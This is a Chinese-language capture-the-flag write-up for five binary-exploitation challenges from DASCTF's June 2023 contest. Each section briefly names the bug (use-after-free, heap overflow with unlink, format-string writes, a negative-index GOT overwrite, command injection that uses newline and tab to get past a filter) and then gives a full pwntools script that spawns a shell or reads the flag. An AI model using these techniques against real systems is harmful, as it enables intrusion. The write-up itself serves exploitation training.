DASCTF 2023六月挑战赛｜二进制专项 PWN (上)
1.easynote
edit函数对长度没有检查
free函数存在UAF漏洞
思路：1.通过堆溢出，UAF，修改size位达到堆块重叠，使用fastbin attack，把__malloc_hook,写入one_gadget
2.通过unlink修改free got表为system
exp：
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./easynote')
#libc = ELF('/home/su/PWN/BUUCTF/Jqfx/EJZ/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')
#io=remote('node5.buuoj.cn',29421)
libc = ELF('./libc-2.23.so')
def add(size,msg):
io.sendlineafter('5. exit','1')
io.sendlineafter('content --->',str(size))
io.sendlineafter('Content --->',msg)
def edit(index,size,msg):
io.sendlineafter('5. exit','2')
io.sendlineafter('Index --->',str(index))
io.sendlineafter('content --->',str(size))
io.sendafter('Content --->',msg)
def free(index):
io.sendlineafter('5. exit','3')
io.sendlineafter('Index --->',str(index))
def show(index):
io.sendlineafter('5. exit','4')
io.sendlineafter('Index --->',str(index))
fd = 0x6020C0 -0x18
bk = 0x6020C0 -0x10
add(0x88,'aaaa')
add(0x88,'dddd')
add(0x80,'cccc')
add(0x50,'/bin/sh\x00')
#gdb.attach(io)
free(2)
show(2)
io.recvuntil('Content: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x68 -libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
success('libc_base--->'+hex(libc_base))
payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(0,len(payload),payload)
free(1)
gdb.attach(io)
payload = b'a'*0x20 + p64(0x602018)
edit(0,len(payload),payload)
edit(1,8,p64(system))
free(3)
io.interactive()
2.fooooood
非栈上格式化字符串漏洞，泄露地址，可以改循环次数，实现无限循环，最后改返回地址为one_gadget，即可
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./fooooood')
libc = ELF('./libc.so.6')
elf = ELF('./fooooood')
success('puts--->'+hex(libc.sym['puts']))
success('sys---->'+hex(libc.sym['system']))
#gdb.attach(io)
io.sendlineafter('name:','susu')
io.recvuntil(' favourite food:')
payload = b'%9$pa%11$pb%13$p'
io.sendline(payload)
io.recvuntil('You like')
libc_base = int(io.recv(15),16) - 240 - libc.sym['__libc_start_main']
success('libc_base---->'+hex(libc_base))
io.recvuntil('a')
stack_addr = int(io.recv(14),16) - 0xd0
success('stack_addr---->'+hex(stack_addr))
io.recvuntil('b')
elf_base = int(io.recv(14),16) - elf.sym['main']
success('elf_base----->'+hex(elf_base))
#gdb.attach(io)
count = stack_addr - 0x28
count1 = count & 0xffff
pop_rdi = libc_base + 0x0000000000021112 #: pop rdi ; ret
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').__next__()
one = libc_base + 0xf1247
payload = b'%'+str(count1+4).encode('utf-8') + b'c%11$hn'
io.recvuntil(' favourite food:')
io.sendline(payload)
io.recvuntil(' favourite food:')
payload = b'%'+str(0x5).encode('utf-8')+b'c%37$hhn'
io.sendline(payload)
#io.recvuntil(' favourite food:')
ret = stack_addr -0x10
ret1 = ret & 0xffff
payload = b'%'+str(ret1).encode('utf-8') + b'c%11$hn'
io.sendline(payload)
io.recvuntil(' favourite food:')
success('pop_rdi---->'+hex(pop_rdi))
payload = payload = b'%'+str(one & 0xffff).encode('utf-8')+b'c%37$hn'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil(' favourite food:')
payload = b'%'+str(ret1+2).encode('utf-8')+b'c%11$hn'
io.sendline(payload)
io.recvuntil(' favourite food:')
payload = b'%'+str((one >> 16) & 0xffff).encode('utf-8') + b'c%37$hn'
#gdb.attach(io)
io.sendline(payload)
#addr = stack_addr - 8
#addr1 = addr & 0xffff
#io.recvuntil(' favourite food:')
#payload = payload = b'%'+str(addr1).encode('utf-8') + b'c%11$hn'
#gdb.attach(io)
#io.sendline(payload)
#io.recvuntil(' favourite food:')
#payload = b'%'+str(system & 0xffff).encode('utf-8') + b'c%37$hn'
#io.sendline(payload)
#io.recvuntil(' favourite food:')
#payload = payload = b'%'+str(addr1 + 2).encode('utf-8') + b'c%11$hn'
#io.sendline(payload)
#io.recvuntil(' favourite food:')
#payload = b'%'+str(system >> 16 & 0xffff).encode('utf-8') + b'c%37$hn'
#gdb.attach(io)
#io.sendline(payload)
io.interactive()
3.Candy_Shop
这里对输入的v1没有检查，可以输入负数，修改到got表
通过格式化字符串泄露libc地址
exp：
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./Candy_Shop')
libc = ELF('./Candy_Shop.so.6')
success('puts---->'+hex(libc.sym['puts']))
def eat():
io.sendlineafter('option: ','e')
def buy(offest,payload):
io.sendlineafter('option: ','b')
io.sendlineafter('want to bye:','t')
io.sendlineafter('the candy in?',offest)
io.sendlineafter('name!',payload)
def gift(payload):
io.sendlineafter('option: ','g')
io.sendlineafter('your name:',payload)
#gdb.attach(io)
payload = '%3$p'
gift(payload)
io.recvuntil('a gift:')
libc_base = int(io.recv(14),16) - 23 - libc.sym['write']
success('libc_base---->'+hex(libc_base))
system = libc_base + libc.sym['system']
buy('-10',b'a'*6+p64(system))
#gift('/bin/sh\x00')
io.sendline('g')
io.sendline('/bin/sh')
io.interactive()
4.server
这里可以实现目录穿越，填满0x20个字节，一个存在的文件如/flag
做了过滤
但是没有过滤\n和\t，通过\n分割命令，\t代替空格读取flag
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./server')
io = remote('node5.buuoj.cn',27810)
io.sendlineafter('choice >>','1')
io.sendlineafter('Please input the key of admin :',b'..///////////////////bin/sh')
#pause()
#sleep(2)
io.sendlineafter('choice >>','2')
io.recvuntil('username to add')
io.send("66cat\tfl*\n")
io.sendlineafter('choice >>','2')
io.recvuntil('username to add')
io.send("'\n")
io.interactive()
5.Approoooooooaching
一个虚拟机的题目
存在后门，对输入的字符进行解码处理对于相应的功能
通过偏移到返回地址最后一位修改为后门
exp：
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./bf')
io.recvuntil('choice:')
io.sendline('1')
io.sendlineafter('size:',str(0x300))
io.recvuntil('choice:')
io.sendline('2')
io.sendline('iiiiyy')
io.recvuntil('choice:')
io.sendline('3')
io.recvuntil('choice:')
io.sendline('4')
gdb.attach(io)
io.send('\xe0')
io.interactive()